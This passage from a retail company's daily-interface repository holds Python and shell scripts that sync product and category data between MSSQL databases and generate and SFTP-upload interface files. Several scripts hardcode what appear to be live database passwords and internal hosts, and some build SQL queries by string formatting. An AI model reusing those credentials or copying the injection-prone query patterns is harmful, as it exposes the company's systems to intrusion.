res.append(order_redeem_cash)\n res.append(order_id)\n res.append(data['id'])\n return res\n\n\ndef gen_tender(input):\n values = set(map(lambda x: x[37], input))\n groups = [[y for y in input if y[37] == x] for x in values]\n for g in groups:\n net_amt = 0\n redeem_amt = 0\n order_redeem_cash = 0\n temp_suborder_id = \"\"\n product_index = 0\n for index, sub in enumerate(g):\n if sub[6] == \"P\":\n product_index = index\n if sub[6] == \"C\" or temp_suborder_id == sub[37]:\n continue\n net_amt = net_amt + sub[33]\n redeem_amt = redeem_amt + sub[34]\n order_redeem_cash = order_redeem_cash + sub[35]\n temp_suborder_id = sub[37]\n\n if redeem_amt == 0:\n g.append(tender(g[product_index][:], net_amt, False))\n else:\n g.append(tender(g[product_index][:], redeem_amt, True))\n if order_redeem_cash > 0:\n g.append(tender(g[product_index][:], order_redeem_cash, False))\n\n total = g[0][:]\n total[6] = \"A\"\n total[15:27] = [\"1\", \"\", \"\", \"1\", \"\", \"\", \"\", str(net_amt), \"\", \"\", \"\", \"\"]\n g.append(total)\n\n for g in groups:\n index = 1\n for o in g:\n o[1] = str(uuid.uuid4()).upper()\n o[2] = '{:0>6}'.format(o[2])\n if o[6] != \"A\" and o[6] != \"C\":\n o[15] = str(index)\n index = index + 1\n if o[6] == \"P\":\n o[26] = ''\n\n out = [item[:32] for sublist in groups for item in sublist]\n\n return ['|'.join(row) for row in out]\n\n\ndef tender(data, amount, isT1C):\n t = data\n t[6] = \"T\"\n t[16:26] = [\"\", \"\", \"1\", \"\", \"\", \"\", str(amount), \"\", \"\", t[32]]\n if isT1C and len(t[12]) > 0:\n t[26] = t[12]\n t[25] = 'T1CRedeem'\n\n return t\n\n\ndef update_order():\n sale = []\n sr = []\n for id in order_ids:\n if id[:2] in ['CR', 'SR']:\n sr.append(id)\n else:\n sale.append(id)\n with mssql_cmos() as conn:\n query = \"UPDATE TBSubOrderHead SET IsGenT1c = 'Yes' WHERE Suborderid in ('{}')\".format(\n \"','\".join(sale))\n conn.execute_non_query(query)\n query = \"UPDATE TBSubSaleReturnHead SET IsGenT1c = 'Yes' WHERE SubSRNo in ('{}')\".format(\n \"','\".join(sr))\n conn.execute_non_query(query)\n\n\nif __name__ == \"__main__\":\n generate_text_t1c()\n update_order()\n" }, { "alpha_fraction": 0.5746676921844482, "alphanum_fraction": 0.59056556224823, "avg_line_length": 34.20183563232422, "blob_id": "493a03e37d224e94ba690e69ce3fe2410900ae78", "content_id": "bdf4c07734ace1e0b6db6539409b9122be98305d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3837, "license_type": "no_license", "max_line_length": 92, "num_lines": 109, "path": "/src/t1c_product_master.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import pymssql\nfrom common import notifyLine\nfrom datetime import datetime, timedelta\n\n\ndef connect_cds_db():\n return pymssql.connect(\"10.17.220.55\", \"central\", \"Cen@tral\", \"DBCDSContent\")\n\n\ndef connect_rbs_db():\n return pymssql.connect(\"mssql.production.thecentral.com\", \"coreapi\",\n \"coreapi\", \"DBMKPOnline\")\n\n\ndef connect_t1c_db():\n return pymssql.connect(\"10.17.220.181\", \"sa\", \"Asdf123!\", \"DBSync\")\n\n\ntry:\n start_time = datetime.now()\n with connect_cds_db() as conn:\n cds_cursor = conn.cursor(as_dict=True)\n query = '''\n SELECT\n a.pidnew AS Pid,\n a.DocnameEn AS ProductNameEN,\n a.Docname AS ProductNameTH,\n d.departmentID AS Local_Cate_ID,\n d.DisplayNameEN AS LocalNameEN,\n d.DisplayName AS LocalNameTH,\n c.Brandid as Brand_ID,\n c.DisplaynameEn AS BrandNameEN,\n c.DisplayName AS BrandNameTH,\n CONCAT('000000000', a.PIDNew) as Barcode,\n b.BU AS JDA_BUCODE,\n a.BU_SKU as JDA_SKU\n FROM dbo.tbproduct a\n INNER JOIN dbo.TBbusinessUnit b on b.BusinessUnitId = a.BusinessUnitId\n JOIN dbo.tbbrand c ON c.brandid = a.brandid\n JOIN dbo.tbproductGroup pg ON pg.productgroupid = a.productgroupid\n JOIN dbo.tbdepartment d ON pg.departmentid = d.departmentid\n WHERE a.isFirstStockGR = 1 AND len(a.pidnew) > 0\n ORDER BY a.pidnew\n '''\n cds_cursor.execute(query)\n cds_data = cds_cursor.fetchall()\n\n with connect_rbs_db() as conn:\n rbs_cursor = conn.cursor(as_dict=True)\n query = '''\n SELECT\n Pid,\n ISNULL(ProductNameEn,'') AS ProductNameEN,\n ISNULL(ProductNameTh,'') AS ProductNameTH,\n ISNULL(Pro.LocalCatId,'') AS Local_Cate_ID,\n ISNULL(LCat.NameEn,'') AS LocalNameEN,\n ISNULL(LCat.NameTh,'') AS LocalNameTH,\n ISNULL(Pro.BrandId,'') AS Brand_ID,\n ISNULL(Ba.BrandNameEn,'') AS BrandNameEN,\n ISNULL(Ba.BrandNameTh,'') AS BrandNameTH,\n CONCAT('000000000',PID) as Barcode,\n 'RBS' AS JDA_BUCODE,\n SKU as JDA_SKU\n FROM [DBMKPOnline].[dbo].[Product] Pro\n LEFT JOIN [DBMKPOnline].[dbo].[LocalCategory] LCat ON Pro.LocalCatId = LCat.CategoryId\n LEFT JOIN [DBMKPOnline].[dbo].[Brand] Ba ON Pro.BrandId = Ba.BrandId\n '''\n rbs_cursor.execute(query)\n rbs_data = rbs_cursor.fetchall()\n\n with connect_t1c_db() as t1c:\n t1c_cursor = t1c.cursor()\n t1c_cursor.execute('TRUNCATE TABLE ProductMapping')\n\n sql = \"\"\"\n INSERT INTO ProductMapping (\n PID, ProductNameEN, ProductNameTH,\n Local_Cate_ID, LocalNameEN, LocalNameTH,\n Brand_ID, BrandNameEN, BrandNameTH, Barcode,\n JDA_BUCODE, JDA_SKU\n ) values {}\n \"\"\"\n data = cds_data + rbs_data\n print(\"Total Product {:,} records\".format(len(data)))\n for i in range(0, len(data), 1000):\n query = \",\".join([\n \"\"\"('%s', '%s', '%s', '%s', '%s', '%s', '%s', \n '%s', '%s', '%s', '%s', '%s')\"\"\" %\n (row['Pid'], row['ProductNameEN'].replace(\"'\", \"''\"),\n row['ProductNameTH'].replace(\"'\", \"''\"), row['Local_Cate_ID'],\n row['LocalNameEN'].replace(\"'\", \"''\"),\n row['LocalNameTH'].replace(\"'\", \"''\"), row['Brand_ID'],\n row['BrandNameEN'].replace(\"'\", \"''\"),\n row['BrandNameTH'].replace(\"'\", \"''\"), row[\"Barcode\"],\n row[\"JDA_BUCODE\"], row[\"JDA_SKU\"]) for row in data[i:i + 1000]\n ])\n try:\n t1c_cursor.execute(sql.format(query))\n except:\n raise\n t1c.commit()\n\n end_time = datetime.now()\n execution_time = (end_time - start_time).seconds\n notifyLine(\"[T1C]: Product[{:,}] sync in {:,} s\".format(\n len(data), execution_time))\nexcept Exception as e:\n notifyLine(\"[T1C]: Product master Failure - {}\".format(e))\n print(e)\n" }, { "alpha_fraction": 0.6068804264068604, "alphanum_fraction": 0.6249164938926697, "avg_line_length": 38.91999816894531, "blob_id": "ec9bcaa325e5fe384e09e5e4883c11152ca0c944", "content_id": "34149fe96bec1520154c89fdeb62d0fb83bd9aa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2994, "license_type": "no_license", "max_line_length": 118, "num_lines": 75, "path": "/src/autopos_ofin_ap_line.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, get_file_seq, insert_transaction, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\n\ndef prepare_data(data):\n result = []\n sum_amount = 0\n for d in data:\n amount = d['amount']\n sum_amount = sum_amount + amount\n temp = []\n temp.append(\"{:3}\".format(d['source'][:3]))\n temp.append(\"{:50}\".format(d['invoice_no'][:50]))\n temp.append(\"{:1}\".format(d['invoice_type'][:1]))\n temp.append(\"{:30}\".format(d['vendor_id'][:30]))\n temp.append(\"{:1}\".format(d['line_type'][:1]))\n temp.append(\"{:240}\".format(d['item_description'][:240]))\n temp.append(\"{:014.2f}\".format(amount))\n temp.append(\"{:14}\".format(d['item_qty'][:14]))\n temp.append(\"{:14}\".format(d['item_cost'][:14]))\n temp.append(\"{:35}\".format(d['temp_field'][:35]))\n temp.append(\"{:5}\".format(d['cost_center'][:5]))\n temp.append(\"{:8}\".format(d['gl_account'][:8]))\n\n result.append(\"\".join(temp))\n\n return result, sum_amount\n\n\ndef generate_data_file(output_path, str_date, data):\n prefix = 'L' + str_date + 'FMS'\n seq = get_file_seq(prefix, output_path, '.MER')\n dat_file = prefix + str(seq) + '.MER'\n dat_file_path = os.path.join(output_path, dat_file)\n val_file = prefix + str(seq) + '.LOG'\n val_file_path = os.path.join(output_path, val_file)\n\n with open(dat_file_path, 'w') as dat, open(val_file_path, 'w') as val:\n result, sum_amount = prepare_data(data)\n dat.write(\"\\n\".join(result))\n val.write('{:20}{:0>10}{:015.2f}'.format(dat_file, len(result), sum_amount))\n print('[AutoPOS] - L create file .MER completed..')\n return [dat_file, val_file]\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start OFIN AP LINE [{}] =====\".format(env))\n cfg = config(env)\n batch_date = datetime.strptime(cfg['run_date'], '%Y%m%d') if cfg['run_date'] else datetime.now() - timedelta(days=1)\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path = os.path.join(parent_path, 'output/autopos/{}/ofin/ap/cds'.format(env), batch_date.strftime('%Y%m%d'))\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n\n try:\n refresh_view = \"refresh materialized view mv_autopos_ofin_line\"\n sql = \"select * from mv_autopos_ofin_line where interface_date = '{}'\".format(batch_date.strftime('%Y%m%d'))\n data = query_matview(cfg['fms'], refresh_view, sql)\n files = generate_data_file(target_path, batch_date.strftime('%y%m%d'), data)\n if cfg['ftp']['is_enable']:\n destination = 'incoming/ofin/ap/cds'\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path, destination, files) \n sql_insert = \"insert into transaction_ofin_line {}\".format(sql)\n insert_transaction(cfg['fms'], sql_insert)\n except Exception as e:\n print('[AutoPOS] - L Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7777777910232544, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 21.5, "blob_id": "93368369696cff8bb56cdcc00772feb92556d7e3", "content_id": "d020b2fe931281e7457a6dbab08448c921d5607d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 90, "license_type": "no_license", "max_line_length": 29, "num_lines": 4, "path": "/scripts/sale-cgo.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#! /bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\npython src/sbl_cgo_nrtsale.py\n" }, { "alpha_fraction": 0.6207314133644104, "alphanum_fraction": 0.6553645133972168, "avg_line_length": 39.881187438964844, "blob_id": "18ae6ae1e3de6f1598e9b45510725da15c414a93", "content_id": "8fea759a4c96c9fe5bc285975b47ef3780a5af30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4129, "license_type": "no_license", "max_line_length": 99, "num_lines": 101, "path": "/src/t1c_hierachy_master.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import pymssql\nfrom common import notifyLine\nfrom datetime import datetime, timedelta\n\n\ndef connect_cds_db():\n return pymssql.connect(\"10.17.220.55\", \"central\", \"Cen@tral\", \"\")\n\n\ndef connect_rbs_db():\n return pymssql.connect(\"mssql.production.thecentral.com\", \"coreapi\",\n \"coreapi\", \"DBMKPOnline\")\n\n\ndef connect_t1c_db():\n return pymssql.connect(\"10.17.220.181\", \"sa\", \"Asdf123!\", \"DBSync\")\n\n\ntry:\n start_time = datetime.now()\n with connect_cds_db() as conn:\n cds_cursor = conn.cursor()\n query = '''\n SELECT\n isnull(level0.DepartmentId, 0) AS Level0ID,\n isnull(level0.DisplayName, '') AS CategoryLevel0,\n isnull(level1.DepartmentId, 0) AS Level1ID,\n isnull(level1.DisplayName, '') AS CategoryLevel1,\n isnull(level2.DepartmentId, 0) AS Level2ID,\n isnull(level2.DisplayName, '') AS CategoryLevel2TH,\n isnull(level2.DisplayNameEN, '') AS CategoryLevel2EN,\n isnull(level3.DepartmentId, 0) AS Level3ID,\n isnull(level3.DisplayName, '') AS CategoryLevel3TH,\n isnull(level3.DisplayNameEN, '') AS CategoryLevel3EN,\n isnull(level4.DepartmentId, 0) AS Level4ID,\n isnull(level4.DisplayName, '') AS CategoryLevel4TH,\n isnull(level4.DisplayNameEN, '') AS CategoryLevel4EN,\n 'CDS' AS JDA_BUCODE\n FROM DBCDSContent.dbo.TBDepartment level0\n LEFT OUTER JOIN DBCDSContent.dbo.TBDepartment level1 ON level0.DepartmentId = level1.ParentId\n LEFT OUTER JOIN DBCDSContent.dbo.TBDepartment level2 ON level1.DepartmentId = level2.ParentId\n LEFT OUTER JOIN DBCDSContent.dbo.TBDepartment level3 ON level2.DepartmentId = level3.ParentId\n LEFT OUTER JOIN DBCDSContent.dbo.TBDepartment level4 ON level3.DepartmentId = level4.ParentId\n ORDER BY Level0ID ASC\n '''\n cds_cursor.execute(query)\n cds_data = cds_cursor.fetchall()\n\n with connect_rbs_db() as conn:\n rbs_cursor = conn.cursor()\n query = '''\n SELECT\n isnull(t0.CategoryId, 0) AS Level0ID,\n isnull(t0.NameEn, '') AS CategoryLevel0,\n isnull(t1.CategoryId, 0) AS Level1ID,\n isnull(t1.NameEn, '') AS CategoryLevel1,\n isnull(t2.CategoryId, 0) AS Level2ID,\n isnull(t2.NameTh, '') AS CategoryLevel2TH,\n isnull(t2.NameEn, '') AS CategoryLevel2EN,\n isnull(t3.CategoryId, 0) AS Level3ID,\n isnull(t3.NameTh, '') AS CategoryLevel3TH,\n isnull(t3.NameEn, '') AS CategoryLevel3EN,\n isnull(t4.CategoryId, 0) AS Level4ID,\n isnull(t4.NameTh, '') AS CategoryLevel4TH,\n isnull(t4.NameEn, '') AS CategoryLevel4EN,\n 'RBS' AS JDA_BUCODE\n FROM [DBMKPOnline].[dbo].[GlobalCategory] t0\n LEFT JOIN [DBMKPOnline].[dbo].[GlobalCategory] t1 ON t0.Lft < t1.Lft AND t1.Rgt < t0.Rgt\n LEFT JOIN [DBMKPOnline].[dbo].[GlobalCategory] t2 ON t1.Lft < t2.Lft AND t2.Rgt < t1.Rgt\n LEFT JOIN [DBMKPOnline].[dbo].[GlobalCategory] t3 ON t2.Lft < t3.Lft AND t3.Rgt < t2.Rgt\n LEFT JOIN [DBMKPOnline].[dbo].[GlobalCategory] t4 ON t3.Lft < t4.Lft AND t4.Rgt < t3.Rgt\n ORDER BY Level0ID ASC\n '''\n rbs_cursor.execute(query)\n rbs_data = rbs_cursor.fetchall()\n\n with connect_t1c_db() as t1c:\n t1c_cursor = t1c.cursor()\n t1c_cursor.execute(\"TRUNCATE TABLE DBSync.dbo.CategoryHierarchy\")\n\n insert_sql = '''\n INSERT INTO DBSync.dbo.CategoryHierarchy (\n Level0ID, CategoryLevel0, Level1ID, CategoryLevel1, \n Level2ID, CategoryLevel2TH, CategoryLevel2EN, \n Level3ID, CategoryLevel3TH, CategoryLevel3EN, \n Level4ID, CategoryLevel4TH, CategoryLevel4EN, JDA_BUCODE)\n VALUES (%d, %s, %d, %s, %d, %s, %s, %d, %s, %s, %d, %s, %s, %s)\n '''\n\n data = cds_data + rbs_data\n print(\"Total Hierarchy {:,} records\".format(len(data)))\n t1c_cursor.executemany(insert_sql, data)\n t1c.commit()\n\n end_time = datetime.now()\n execution_time = (end_time - start_time).seconds\n notifyLine(\"[T1C]: Hierarchy[{:,}] sync in {:,} s\".format(\n len(data), execution_time))\nexcept Exception as e:\n notifyLine(\"[T1C]: Hierarchy Failure - {}\".format(e))\n print(e)\n" }, { "alpha_fraction": 0.39268729090690613, "alphanum_fraction": 0.6076099872589111, "avg_line_length": 33.32653045654297, "blob_id": "c508acc1f93b95f7a97eb85b75173edba6b3aee0", "content_id": "4007713752536b497d4587093577b429371399b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3364, "license_type": "no_license", "max_line_length": 302, "num_lines": 98, "path": "/src/t1c_interface_test.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import unittest\nfrom unittest.mock import patch\nimport datetime\nimport t1c_program\n\n\nclass UnderTest(unittest.TestCase):\n def test_gen_option_string_value(self):\n res = t1c_program.get_option_str(None)\n self.assertEqual('', res)\n\n res = t1c_program.get_option_str('text')\n self.assertEqual('text', res)\n\n res = t1c_program.get_option_str(1)\n self.assertEqual('1', res)\n\n def test_gen_option_number_value(self):\n res = t1c_program.get_option_number(None)\n self.assertEqual(0, res)\n\n res = t1c_program.get_option_number(1)\n self.assertEqual(1, res)\n\n res = t1c_program.get_option_number('1')\n self.assertEqual(1, res)\n\n res = t1c_program.get_option_number('eiei')\n self.assertEqual(0, res)\n\n def test_split_price(self):\n res = t1c_program.split_price('9.0')\n self.assertEqual('000000000900', res)\n\n res = t1c_program.split_price('10.00')\n self.assertEqual('000000001000', res)\n\n def test_get_tracking_number(self):\n res = t1c_program.get_tracking_number('CDS00012345678')\n self.assertEqual('01234567', res)\n\n res = t1c_program.get_tracking_number('SSP001')\n self.assertEqual('55555555', res)\n\n def test_gen_sale_tran_data(self):\n data = {\n 'InvDate': '2017-12-15',\n 'CreateOn': datetime.time(6, 30, 0),\n 'Status': 'AT',\n 'SaleType': '02',\n 'ShopID': '1234',\n 'InvNo': 'SSP123123123',\n 'PID': '12345678',\n 'Quantity': 10,\n 'UnitPrice': 10.01,\n 'UnitSalesPrice': 9.99,\n 'NetAmt': 900.0,\n 'VatAmt': 58.88,\n 'ItemDiscountAmount': 0.02,\n 'TransactionDiscountAmount': 0.01,\n 'DEPT': '1',\n 'SUB_DPT': '12',\n 'T1CNoEarn': '0123456',\n 'CreateBy': '9999',\n 'ShopGroup': 'BU'\n }\n store_number = '12321'\n expected = \"\"\"123212017121506300212340012312300000000123456780000000012345678+001000000000001001000000000999N000000090000000000005888 000000000002 000000000001 20171215000000000010120000000000000000 0123456 000000000000000000009999\"\"\"\n actual = \"\"\"123212017121506300212340012312300000000123456780000000012345678+001000000000001001000000000999N000000090000000000005888 000000000002 000000000001 20171215000000000010120000000000000000 0123456 000000000000000000009999\"\"\"\n self.maxDiff = None\n self.assertEqual(expected,\n t1c_program.gen_sale_tran_data(data, 0, store_number))\n\n def test_gen_tender(self):\n data = {\n 'InvDate': '2017-12-15',\n 'CreateOn': datetime.time(6, 30),\n 'Status': 'AT',\n 'SaleType': '02',\n 'ShopID': '1234',\n 'InvNo': 'SSP123123123',\n 'TenderType': 'CASH',\n 'NetAmt': 1000.00,\n 'TotalNetAmt': 2000.00,\n 'redeemamt': 100.00,\n 'TransactionDiscountAmount': 0.01,\n 'T1CNoEarn': '0123456',\n 'ShopGroup': 'BU'\n }\n store_number = '99999'\n res = t1c_program.gen_tender(data, 0, store_number)\n expected = '9999920171215063002123400123123CASH+000000095000 000000000001 0123456 00000000 201707251000'\n self.maxDiff = None\n self.assertEqual(expected, res)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.5906602740287781, "alphanum_fraction": 0.6048580408096313, "avg_line_length": 32.791908264160156, "blob_id": "aa7efe3b164feafa49a761d2b1fd3a3436da8c4a", "content_id": "81371be762fc728e70734d8387ba611b822f9a14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5846, "license_type": "no_license", "max_line_length": 124, "num_lines": 173, "path": "/src/autopos_siebel.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, insert_transaction, query_all, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback, uuid\n\n\ndef gen_sale_tran_data(data):\n res = []\n res.append(data['line_identifier'])\n res.append(data['source_trans_id'])\n res.append(data['store_code'])\n res.append(data['pos_no'])\n res.append(data['receipt_no'])\n res.append(data['trans_type'])\n res.append(data['trans_sub_type'])\n res.append(data['trans_date'])\n res.append(data['business_date'])\n res.append(data['invoice_date'])\n res.append(data['delivery_date'])\n res.append(data['earn_online_flag'])\n res.append(data['t1c_cardno'])\n res.append(data['mobile_no'])\n res.append(data['pos_user_id'])\n res.append(data['item_seq_no'])\n res.append(data['product_code'])\n res.append(data['product_barcode'])\n res.append(data['quantity'])\n res.append(data['price_unit'])\n res.append(data['price_total'])\n res.append(data['net_price_unit'])\n res.append(data['net_price_total'])\n res.append(data['discount_total'])\n res.append(data['vat_amt'])\n res.append(data['tendor_type'])\n res.append(data['tendor_ref'])\n res.append(data['orginal_receipt_no'])\n res.append(data['orginal_item_seq_no'])\n res.append(data['display_receipt_no'])\n res.append(data['return_all_flag'])\n res.append(data['sbl_cancel_redeem'])\n res.append('' if data['tendor_type'] == 'Coupon' else data['tendor_type'])\n res.append(data['net_amt'])\n res.append(data['redeem_amt'])\n res.append(data['redeem_cash'])\n res.append(data['display_receipt_no'])\n res.append(data['receipt_no'])\n\n return res\n\n\ndef gen_tender(input):\n values = set(map(lambda x: x[37], input))\n groups = [[y for y in input if y[37] == x] for x in values]\n for g in groups:\n net_amt = 0\n redeem_amt = 0\n order_redeem_cash = 0\n product_index = 0\n for index, sub in enumerate(g):\n if sub[6] == \"P\":\n product_index = index\n if sub[6] == \"C\":\n continue\n net_amt = net_amt + sub[33]\n redeem_amt = redeem_amt + sub[34]\n order_redeem_cash = order_redeem_cash + sub[35]\n\n if redeem_amt == 0:\n g.append(tender(g[product_index][:], net_amt, False))\n else:\n g.append(tender(g[product_index][:], redeem_amt, True))\n if order_redeem_cash > 0:\n g.append(tender(g[product_index][:], order_redeem_cash, False))\n\n total = g[0][:]\n total[6] = \"A\"\n total[15:27] = [\"1\", \"\", \"\", \"1\", \"\", \"\", \"\", str(net_amt), \"\", \"\", \"\", \"\"]\n g.append(total)\n\n for g in groups:\n index = 1\n for o in g:\n o[1] = str(uuid.uuid4()).upper()\n o[2] = '{:0>6}'.format(o[2])\n if o[6] != \"A\" and o[6] != \"C\":\n o[15] = str(index)\n index = index + 1\n if o[6] == \"P\":\n o[26] = ''\n\n out = [item[:32] for sublist in groups for item in sublist]\n\n return ['|'.join(row) for row in out]\n\n\ndef tender(data, amount, is_t1c):\n t = data\n t[6] = \"T\"\n t[16:26] = [\"\", \"\", \"1\", \"\", \"\", \"\", str(amount), \"\", \"\", t[32]]\n if is_t1c and len(t[12]) > 0:\n t[26] = t[12]\n t[25] = 'T1CP'\n\n return t\n\n\ndef generate_data_file(output_path, bu, sale_transactions):\n total_row = len(sale_transactions)\n\n interface_name = 'BCH_{}CTO_T1C_NRTSales'.format(bu)\n now = datetime.now()\n batchdatetime = now.strftime('%d%m%Y_%H:%M:%S:%f')[:-3]\n filedatetime = now.strftime('%d%m%Y_%H%M%S')\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime, 1)\n filepath = os.path.join(output_path, datfile)\n with open(filepath, 'w') as text_file:\n text_file.write('0|{}\\n'.format(total_row))\n for transaction in sale_transactions:\n text_file.write('{}\\n'.format(transaction))\n text_file.write('9|END')\n\n ctrlfile = '{}_{}.ctrl'.format(interface_name, filedatetime)\n filepath = os.path.join(output_path, ctrlfile)\n attribute1 = \"\"\n attribute2 = \"\"\n with open(filepath, 'w') as outfile:\n outfile.write('{}|{}|001|1|{}|{}|{}-CTO|{}|{}'.format(\n interface_name, bu, total_row, batchdatetime, bu, attribute1,\n attribute2))\n print(\n '[AUtoPOS] - Siebel[{}] create .DAT & .CTRL file completed..'.format(bu))\n return [datfile, ctrlfile]\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start Siebel [{}] =====\".format(env))\n cfg = config(env)\n now = datetime.now()\n batch_date = cfg['run_date'] if cfg['run_date'] else (now - timedelta(days=1)).strftime('%Y%m%d')\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n try:\n # bus = [\n # x['businessunit_code']\n # for x in query_all(cfg['fms'],\n # \"select businessunit_code from businessunit where status = 'AT' group by businessunit_code\"\n # )\n # ]\n bus = ['CDS', 'MSL']\n for bu in bus:\n target_path = os.path.join(parent_path, 'output/autopos/{}/siebel/{}'.format(env, bu.lower()), now.strftime('%Y%m%d'))\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n refresh_view = \"refresh materialized view mv_autopos_siebel\"\n sql = \"select * from mv_autopos_siebel where bu = '{}' and interface_date = '{}'\".format(\n bu, batch_date)\n datas = query_matview(cfg['fms'], refresh_view, sql)\n data_list = [gen_sale_tran_data(data) for data in datas]\n files = generate_data_file(target_path, bu, gen_tender(data_list))\n\n if cfg['ftp']['is_enable']:\n destination = 'incoming/siebel/{}'.format(bu.lower())\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path, destination, files)\n sql_insert = \"insert into transaction_siebel {}\".format(sql)\n insert_transaction(cfg['fms'], sql_insert)\n except Exception as e:\n print('[AutoPOS] - Siebel Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7012048363685608, "alphanum_fraction": 0.7277108430862427, "avg_line_length": 28.714284896850586, "blob_id": "5a05d1add563fbc8afebce4ae71e09604d104abf", "content_id": "1e3a50d1d0d7f69d8687cc7cc9893d74b44c258c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 415, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/autopos-cds.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"===== Starting generate text AutoPOS with date: $1\"\ncd `pwd`\npython src/autopos_ofin_zn.py $1\npython src/autopos_ofin_zl.py $1\npython src/autopos_ofin_h.py $1\npython src/autopos_ofin_l.py $1\npython src/autopos_ofin_zy.py $1\npython src/autopos_jda.py $1\npython src/autopos_siebel.py $1\npython src/autopos_bi_cds.py $1\npython src/autopos_bi_ssp.py $1\npython src/autopos_vendor.py $1\necho \"===== END\"" }, { "alpha_fraction": 0.5483158230781555, "alphanum_fraction": 0.5775814652442932, "avg_line_length": 31.339284896850586, "blob_id": "a2635f4a93304f20e57d3d84bdfae4f2fbc6bae5", "content_id": "b25070af844e5591d66f8766d3892eb6f656245b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1811, "license_type": "no_license", "max_line_length": 133, "num_lines": 56, "path": "/src/test_gen_csv.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import pymssql\nimport sys\nimport csv\nimport os\n\n\ndef gen_by_table_name(table_name):\n with pymssql.connect(\"10.17.220.173\", \"app-cmos\", \"Zxcv123!\",\n \"DBMKP\") as conn:\n cursor = conn.cursor()\n query = \"\"\"\n select top 1 * from {0}\n \"\"\"\n query = query.format('{}'.format(table_name))\n cursor.execute(query)\n a = [i[0].upper() for i in cursor.description]\n if 'CREATEON' in a:\n print(table_name + ' has create on')\n query = \"\"\"\n select top 10 * from {0} WHERE CREATEON >= DATEADD(DAY, -1, CAST(GETDATE() AS DATE)) AND CREATEON < CAST(GETDATE() AS DATE)\n \"\"\"\n elif 'UPDATEON' in a:\n print(table_name + ' has update on')\n query = \"\"\"\n select top 10 * from {0} WHERE UPDATEON >= DATEADD(DAY, -1, CAST(GETDATE() AS DATE)) AND UPDATEON < CAST(GETDATE() AS DATE)\n \"\"\"\n else:\n query = \"\"\"\n select top 10 * from {0}\n \"\"\"\n\n query = query.format('{}'.format(table_name))\n cursor.execute(query)\n with open('CMOS/20171228_' + table_name + '.csv', 'w') as csvfile:\n writer = csv.writer(csvfile, quoting=csv.QUOTE_NONNUMERIC)\n writer.writerow([i[0] for i in cursor.description]) # write headers\n for row in cursor:\n writer.writerow(row)\n\n\nif not os.path.exists('CMOS'):\n os.makedirs('CMOS')\n\nwith pymssql.connect(\"10.17.220.173\", \"app-cmos\", \"Zxcv123!\", \"DBMKP\") as conn:\n cursor = conn.cursor()\n query = \"\"\"\n SELECT TABLE_NAME FROM DBMKP.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' ORDER BY Table_name\n \"\"\"\n cursor.execute(query)\n for row in cursor:\n print('generate ' + row[0])\n try:\n gen_by_table_name(row[0])\n except:\n print('fail ----------------------------- ' + row[0])\n print('generate ' + row[0] + 'complete')\n" }, { "alpha_fraction": 0.5560187697410583, "alphanum_fraction": 0.6030484437942505, "avg_line_length": 46.67701721191406, "blob_id": "54083bf3ca1eeb647077a7c819d8f52de2cf3b21", "content_id": "02fe6d3151e46e3824663659051ee8d7d968b5b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7676, "license_type": "no_license", "max_line_length": 113, "num_lines": 161, "path": "/src/autopos_jda_common.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import connect_psql, insert_transaction, query_all, query_matview, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\n\ndef prepare_data(datas):\n result = []\n for data in datas:\n temp = []\n temp.append(\"{:0>5}\".format(data['store_code'][:5]))\n temp.append(\"{:0>8}\".format(data['transaction_date'][:8]))\n temp.append(\"{:0>4}\".format(data['transaction_time'][:4]))\n temp.append(\"{:0>2}\".format(data['transaction_type'][:2]))\n temp.append(\"{:9}\".format(data['transaction_type'][:2] + 